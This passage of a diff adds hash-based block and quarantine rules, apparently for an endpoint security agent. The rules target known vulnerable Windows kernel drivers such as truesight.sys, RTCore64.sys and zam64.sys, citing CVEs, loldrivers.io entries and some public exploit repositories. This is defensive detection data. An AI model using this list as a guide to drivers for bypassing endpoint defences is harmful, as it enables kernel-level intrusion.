+  "comment": "MalwareFox AntiMalware Vulnerable Driver (aka zam64.sys and zam32.sys) [CVE-2021-31727, CVE-2021-31728] [https://www.loldrivers.io/drivers/e5f12b82-8d07-474e-9587-8c7b3714d60c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5c14b3aa-739c-5021-b29d-964808ca84fd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143723Z",
+  "creation_date": "2026-03-23T11:45:32.143726Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143731Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1b14ff6a1054fa4bae158111fbcaf35baeedaa9b664c8fb7241db98f7e1c6c20",
+  "comment": "Vulnerable Kernel Driver (aka DcProtect.sys) [https://www.loldrivers.io/drivers/7cee2ce8-7881-4a9a-bb18-61587c95f4a2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5c16788d-a162-52a0-967e-f4f6e6f7770d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495585Z",
+  "creation_date": "2026-03-23T11:45:31.495587Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495592Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "53cd5eeac12e5850c978570f42faa93731d6519da4fa747cc57c37d442ec8142",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5c1eec8e-982a-5448-8752-995c2ff0a745",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481711Z",
+  "creation_date": "2026-03-23T11:45:31.481714Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481724Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6e3d9ac8a8067d049d19c798dc419def9ad47db592ba515e7134664985c4b79f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5c36dadb-a3ba-5ab6-9522-884c12d0eb1a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607381Z",
+  "creation_date": "2026-03-23T11:45:29.607383Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607390Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f84f8173242b95f9f3c4fea99b5555b33f9ce37ca8188b643871d261cb081496",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5c394935-7469-501a-9833-f4f84e0caa7e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831495Z",
+  "creation_date": "2026-03-23T11:45:30.831497Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831502Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1ec99853052f83b8f7279ac0283f9721f663fa44bc64baef21f94394c3a2c36a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5c477103-9716-5585-81cd-ba975fccd12c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807992Z",
+  "creation_date": "2026-03-23T11:45:31.807995Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808003Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "19bdcbfbd05cc52a932a38e75aecd1240e3a4c74ef40fdd86a87f8bb9a96db36",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5c5c6e8d-0f9f-52e0-8177-602f84e62918",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834491Z",
+  "creation_date": "2026-03-23T11:45:30.834494Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834503Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2274479c525939a531525c393bac08042babe6c8792cdcde8e6952bdab4dd3d3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5c5f2fc6-d6ac-59ec-9c76-1fa23ac53fa1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981589Z",
+  "creation_date": "2026-03-23T11:45:29.981591Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981596Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3e9b62d2ea2be50a2da670746c4dbe807db9601980af3a1014bcd72d0248d84c",
+  "comment": "Vulnerable Kernel Driver (aka gametersafe.sys) [https://www.loldrivers.io/drivers/1ab1ec8c-1231-4ba4-8804-4a2cda103bb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5c6095eb-ab5a-50e5-a7a2-176220bbcd5e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498228Z",
+  "creation_date": "2026-03-23T11:45:31.498231Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498239Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3b1feec688a8484df79de6dc686031e9820d88433efc21596a70fee47c85230f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5c60c519-fa3e-55c9-85a6-c11b0ae59899",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141903Z",
+  "creation_date": "2026-03-23T11:45:31.141905Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141910Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5f73d9daffb0addc47f3a8ce6fa9eb189c648fc52e6cc8dca02aa10131c24179",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5c67730d-ca67-5727-93a6-8f7fc7ead43b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485611Z",
+  "creation_date": "2026-03-23T11:45:31.485615Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485625Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8cb73ae30e9c53f30c40bc6305623f4cdde8c4ff5451f2b18a45314f9d9eb3d5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5c6b1302-434d-57ad-b03a-dc978474cc61",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141451Z",
+  "creation_date": "2026-03-23T11:45:31.141453Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141458Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "90227d20f02ebe9db8024aaf87e46af68af47a8e70ab11fd20bc6e613820c425",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5c6c6697-a418-5b25-bd37-b78cb1f7d239",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610176Z",
+  "creation_date": "2026-03-23T11:45:29.610178Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610184Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "771015b2620942919bb2e0683476635b7a09db55216d6fbf03534cb18513b20c",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5c7462e8-3573-5a9c-884c-f0a8ef17cdd6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490208Z",
+  "creation_date": "2026-03-23T11:45:31.490210Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490216Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f1f2355dfd0dc06227cbc38148096e640bc9141fc9a1ceb3923e782b66a3e861",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5c799527-c45e-5e28-b9be-e122e6b3145f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149203Z",
+  "creation_date": "2026-03-23T11:45:31.149205Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149211Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7c64d5088568ff05e8e16deaaa8ad5de85bc97b17ceda89d5c12ecadeade6244",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5c7baf9d-0ba9-519d-9028-834f4dcb7220",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975113Z",
+  "creation_date": "2026-03-23T11:45:29.975115Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975121Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "909de5f21837ea2b13fdc4e5763589e6bdedb903f7c04e1d0b08776639774880",
+  "comment": "Vulnerable AMD Ryzen Master Driver (aka AMDRyzenMasterDriver.sys) [CVE-2020-12928, CVE-2023-20564] [https://www.loldrivers.io/drivers/13973a71-412f-4a18-a2a6-476d3853f8de/, https://github.com/tijme/amd-ryzen-master-driver-v17-exploit, https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5c7fd195-ed33-57e8-a711-1ee1bcc7b7b2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143669Z",
+  "creation_date": "2026-03-23T11:45:32.143671Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143676Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fcffb9cecbcefc399a2a08d99fcc2b797911afa26f3d69a28a139311cb61c39a",
+  "comment": "Vulnerable Kernel Driver (aka DcProtect.sys) [https://www.loldrivers.io/drivers/7cee2ce8-7881-4a9a-bb18-61587c95f4a2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5c8da4cd-50fa-53b5-aa66-7d15a0c7313e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974367Z",
+  "creation_date": "2026-03-23T11:45:29.974369Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974374Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c032e2abdf4f07ba42ce4559e6413387becbebb0a43c287b6d367dbb33bde751",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5c8ef4f6-7d9b-5423-9703-79367a82d081",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500442Z",
+  "creation_date": "2026-03-23T11:45:31.500445Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500453Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d63a68a6e08f1a9ba6e2053de4e4c35c79bba2809d1ec92318d1e3d1a8b8934b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5c9d00eb-05e7-5e4b-9cba-d208d691443a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452310Z",
+  "creation_date": "2026-03-23T11:45:30.452313Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452323Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f7b3112b9745b766c8359d25e315975d3159935a8ddb3e3035d21ed124a9013f",
+  "comment": "Vulnerable Kernel Driver (aka phydmaccx64.sys) [https://www.loldrivers.io/drivers/96c8fe71-3acc-41bc-9402-ebd69a961d74/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5c9e0b56-e26c-5008-aca4-1760ba4b334c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143770Z",
+  "creation_date": "2026-03-23T11:45:31.143772Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143778Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "04bf4f16cd0fefd8456f77f4f4b64502b570f8b685df3de419faae2389b58f5e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5cae8a67-2780-5f1c-93aa-77cf882f0149",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476565Z",
+  "creation_date": "2026-03-23T11:45:31.476569Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476579Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7089503cc4f499b84ccec39aacbeec7bf0bdbe920b7b9e02b4122ab8efcb5add",
